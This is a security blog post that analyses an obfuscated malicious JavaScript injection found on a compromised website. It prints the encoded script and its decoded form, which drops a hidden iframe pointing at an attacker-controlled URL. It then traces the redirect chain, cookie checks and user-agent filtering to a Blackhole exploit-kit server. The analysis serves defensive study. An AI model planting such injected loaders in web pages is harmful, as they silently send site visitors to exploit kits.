Wednesday, 18 September 2013

How not to Obfuscate your Javascript

Last week I came across some malicious obfuscated Javascript and thought I'd write about it as a contrast to the VBScript in my last post. In this post I'll deobfuscate the Javascript and dig into the script's functionality and redirects.


The Sample

The malicious script was first detected by a network monitoring device as "Trojan.JS.Iframe.afs". Submitting the URL of the infected site to Sucuri I got the following:




Looking at the results from Sucuri it appeared that a suspicious looking piece of javascript had been included on multiple pages:

<!--74ed9f--><script type="text/javascript" language="javascript" > kauo="fr"+"omCh"+"arCo"+"de";if(document.querySelector)zjyir=4;jxl=("68,ae,bd,b6,ab,bc,b1,b7,b6,68,bf,c0,78,81,70,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,bc,b1,ab,85,6f,a9,b2,a9,c0,6f,83,55,52,68,be,a9,ba,68,ab,b7,b6,bc,ba,b7,b4,b4,ad,ba,85,6f,b1,b6,ac,ad,c0,76,b8,b0,b8,6f,83,55,52,68,be,a9,ba,68,bf,c0,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,ba,ad,a9,bc,ad,8d,b4,ad,b5,ad,b6,bc,70,6f,b1,ae,ba,a9,b5,ad,6f,71,83,55,52,55,52,68,bf,c0,76,bb,ba,ab,68,85,68,6f,b0,bc,bc,b8,82,77,77,bf,bf,bf,76,b5,a9,ba,ab,bc,ba,b7,b6,76,ab,b7,b5,76,aa,ba,77,b2,bb,77,9a,7a,af,9f,b3,ae,c0,98,76,b8,b0,b8,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b8,b7,bb,b1,bc,b1,b7,b6,68,85,68,6f,a9,aa,bb,b7,b4,bd,bc,ad,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,ab,b7,b4,b7,ba,68,85,68,6f,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b0,ad,b1,af,b0,bc,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bf,b1,ac,bc,b0,68,85,68,6f,7a,80,7a,80,b8,c0,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,b4,ad,ae,bc,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,68,bf,c0,76,bb,bc,c1,b4,ad,76,bc,b7,b8,68,85,68,6f,79,78,78,78,7a,80,7a,80,6f,83,55,52,55,52,68,b1,ae,68,70,69,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,71,68,c3,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,bf,ba,b1,bc,ad,70,6f,84,b8,68,b1,ac,85,a4,6f,bf,c0,a4,6f,68,ab,b4,a9,bb,bb,85,a4,6f,bf,c0,78,81,a4,6f,68,86,84,77,b8,86,6f,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,af,ad,bc,8d,b4,ad,b5,ad,b6,bc,8a,c1,91,ac,70,6f,bf,c0,6f,71,76,a9,b8,b8,ad,b6,ac,8b,b0,b1,b4,ac,70,bf,c0,71,83,55,52,68,c5,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,74,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,74,b6,8c,a9,c1,bb,74,b8,a9,bc,b0,71,68,c3,55,52,68,be,a9,ba,68,bc,b7,ac,a9,c1,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,be,a9,ba,68,ad,c0,b8,b1,ba,ad,68,85,68,b6,ad,bf,68,8c,a9,bc,ad,70,71,83,55,52,68,b1,ae,68,70,b6,8c,a9,c1,bb,85,85,b6,bd,b4,b4,68,c4,c4,68,b6,8c,a9,c1,bb,85,85,78,71,68,b6,8c,a9,c1,bb,85,79,83,55,52,68,ad,c0,b8,b1,ba,ad,76,bb,ad,bc,9c,b1,b5,ad,70,bc,b7,ac,a9,c1,76,af,ad,bc,9c,b1,b5,ad,70,71,68,73,68,7b,7e,78,78,78,78,78,72,7a,7c,72,b6,8c,a9,c1,bb,71,83,55,52,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,68,85,68,ab,b7,b7,b3,b1,ad,96,a9,b5,ad,73,6a,85,6a,73,ad,bb,ab,a9,b8,ad,70,ab,b7,b7,b3,b1,ad,9e,a9,b4,bd,ad,71,55,52,68,73,68,6a,83,ad,c0,b8,b1,ba,ad,bb,85,6a,68,73,68,ad,c0,b8,b1,ba,ad,76,bc,b7,8f,95,9c,9b,bc,ba,b1,b6,af,70,71,68,73,68,70,70,b8,a9,bc,b0,71,68,87,68,6a,83,68,b8,a9,bc,b0,85,6a,68,73,68,b8,a9,bc,b0,68,82,68,6a,6a,71,83,55,52,c5,55,52,ae,bd,b6,ab,bc,b1,b7,b6,68,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,68,b6,a9,b5,ad,68,71,68,c3,55,52,68,be,a9,ba,68,bb,bc,a9,ba,bc,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,b6,a9,b5,ad,68,73,68,6a,85,6a,68,71,83,55,52,68,be,a9,ba,68,b4,ad,b6,68,85,68,bb,bc,a9,ba,bc,68,73,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,73,68,79,83,55,52,68,b1,ae,68,70,68,70,68,69,bb,bc,a9,ba,bc,68,71,68,6e,6e,55,52,68,70,68,b6,a9,b5,ad,68,69,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,78,74,68,b6,a9,b5,ad,76,b4,ad,b6,af,bc,b0,68,71,68,71,68,71,55,52,68,c3,55,52,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,c5,55,52,68,b1,ae,68,70,68,bb,bc,a9,ba,bc,68,85,85,68,75,79,68,71,68,ba,ad,bc,bd,ba,b6,68,b6,bd,b4,b4,83,55,52,68,be,a9,ba,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b1,b6,ac,ad,c0,97,ae,70,68,6a,83,6a,74,68,b4,ad,b6,68,71,83,55,52,68,b1,ae,68,70,68,ad,b6,ac,68,85,85,68,75,79,68,71,68,ad,b6,ac,68,85,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,b4,ad,b6,af,bc,b0,83,55,52,68,ba,ad,bc,bd,ba,b6,68,bd,b6,ad,bb,ab,a9,b8,ad,70,68,ac,b7,ab,bd,b5,ad,b6,bc,76,ab,b7,b7,b3,b1,ad,76,bb,bd,aa,bb,bc,ba,b1,b6,af,70,68,b4,ad,b6,74,68,ad,b6,ac,68,71,68,71,83,55,52,c5,55,52,b1,ae,68,70,b6,a9,be,b1,af,a9,bc,b7,ba,76,ab,b7,b7,b3,b1,ad,8d,b6,a9,aa,b4,ad,ac,71,55,52,c3,55,52,b1,ae,70,8f,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,71,85,85,7d,7d,71,c3,c5,ad,b4,bb,ad,c3,9b,ad,bc,8b,b7,b7,b3,b1,ad,70,6f,be,b1,bb,b1,bc,ad,ac,a7,bd,b9,6f,74,68,6f,7d,7d,6f,74,68,6f,79,6f,74,68,6f,77,6f,71,83,55,52,55,52,bf,c0,78,81,70,71,83,55,52,c5,55,52,c5".split(","));alq=eval;function mup(){mynpb=function(){--(zujrdn.body)}()}zujrdn=document;for(ojth=0;ojth<jxl["length"];ojth+=1){jxl[ojth]=-(72)+parseInt(jxl[ojth],zjyir*4);}try{mup()}catch(mil){qedems=50-50;}if(!qedems)alq(String[kauo].apply(String,jxl));</script><!--/74ed9f-->

Just like in my last post where I subverted the code execution to output the code to file, we can do the same here by replacing an eval statement with a document.write and output the plain text script to a textarea. Where's the eval? Notice the line with "alg=eval", alg is used to eval the final line. I just replaced alg with document.write and included textarea html:

document.write("<textarea>" +  String[kauo].apply(String,jxl)+"</textarea>");

Running the patched code you get the unobfuscated script:

 function wx09() {
 var static='ajax';
 var controller='index.php';
 var wx = document.createElement('iframe');

 wx.src = 'http://www.marctron.com.br/js/R2gWkfxP.php';
 wx.style.position = 'absolute';
 wx.style.color = '2828';
 wx.style.height = '2828px';
 wx.style.width = '2828px';
 wx.style.left = '10002828';
 wx.style.top = '10002828';

 if (!document.getElementById('wx')) {
 document.write('<p id=\'wx\' class=\'wx09\' ></p>');
 document.getElementById('wx').appendChild(wx);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

wx09();
}
}

I was a little disappointed de-obfuscation was so easy :) So this code will check if you have a specific cookie set, if not it will set it and then it'll create an iframe that redirects to the attackers page. Why check/create a cookie? It seems the bad guys only want you to get redirected/infected if this is the first time you've visited the site.


Redirects Redirects

I was curious what would happen next so decided to take a wander down the malware rabbit hole. To start with I scanned the iframe destination page:

http://sitecheck.sucuri.net/results/www.marctron.com.br/js/r2gwkfxp.php



A clean malware page didn't make sense so to get more detail I tried to grab a copy of the page using Curl: 



The server responds but it doesn't give us any real data or redirects. Lets try including a user-agent.



Interesting, this time we get a redirection (see Location header). It looks like the bad guys only want to redirect legitimate looking browsers, potentially stopping automated scanners or people like me using Curl :)

Following the redirection the next page we come to just redirects to about:blank.


Hmmm so a dead end? Not quite yet. The day before I took the screenshots I used curl and actually received a different domain...On the 14th I was redirected to bonne-isolation.be and on the 15th to boordstenen-beton.be. Switching domains to avoid detection eh?


Both domains have similar names suggesting some kind of automatic domain name generation and both resolve to the same ip address 95.156.228.69. Googling the ip we find out this is a known bad address:

https://isc.sans.edu/diary/37.58.73.42++95.156.228.69++195.210.43.42,+anyone%3F/16559

VirusTotal and urlquery have some hits:

https://www.virustotal.com/en/ip-address/95.156.228.69/information/

http://urlquery.net/search.php?q=95.156.228.69&type=string&start=2013-08-28&end=2013-09-12&max=200

On urlquery.net we also find some traffic that matches a Suricata Emerging Threat signature:


Our bad guys appear to be using the Blackhole exploit kit. I'm not sure why we were redirected to about:blank and not the latest java exploit. Perhaps they are only targeting specific browsers/countries or perhaps they only distribute malware to every tenth connection to avoid detection, who knows. (If anyone has any ideas leave me a comment below!)



Wrapping Up

I always find it interesting to pick apart the techniques used by the bad guys to distribute malware. The multiple layers of obfuscation, redirection and verification all work as a clever way to slow down analysis for the good guys and keep the bad guys in business for longer.

We saw how:
  • A compromised site (taalvilla.com) was redirecting users to a malicious site using an embedded iframe.
  • Secondary redirection, that required a browser user-agent, was used to add a layer of obscurity and protection for the final destination.
  • Multiple domains were being used to prevent detection and mitigation.
  • The target was a malicious server (95.156.228.69) with a history of Blackhole activity.   

For a post about Javascript obfuscation I'm sorry it contained so little Javascript deobfuscation (blame the malware authors for making it too easy!). I may have another more in depth post coming in the future though :)

Hope you guys have found this interesting/useful, comments/corrections always appreciated.

Pwndizzle out.

4 comments:

  1. here Cookie bomber leads to blackhole exploit kit

    ReplyDelete
  2. Well yeah, the historic data confirmed that.

    What I wanted to know is why we were redirected to about:blank and not an exploit?

    ReplyDelete
  3. well,the main attempt of cookiebomber is to evade IDS/IPS ,to serve for their people like exploit kits,malwares,so only we are getting lots of 302 redirects and about:blank,but at the end it will serve any exploit kit,last week,redkit exploit kit and blackhole exploit kits are served up

    And need some tricks to get that exploit landing page with some CURL cookie setup tricks,for more information on this you can refer this link http://malwaremustdie.blogspot.jp/2013/07/proof-of-concept-of-cookiebomb-attack.html

    ReplyDelete
  4. Two thumbs up!
    This decryption will work to almost all encrypted JS files that are using eval.
    Very nice.

    ReplyDelete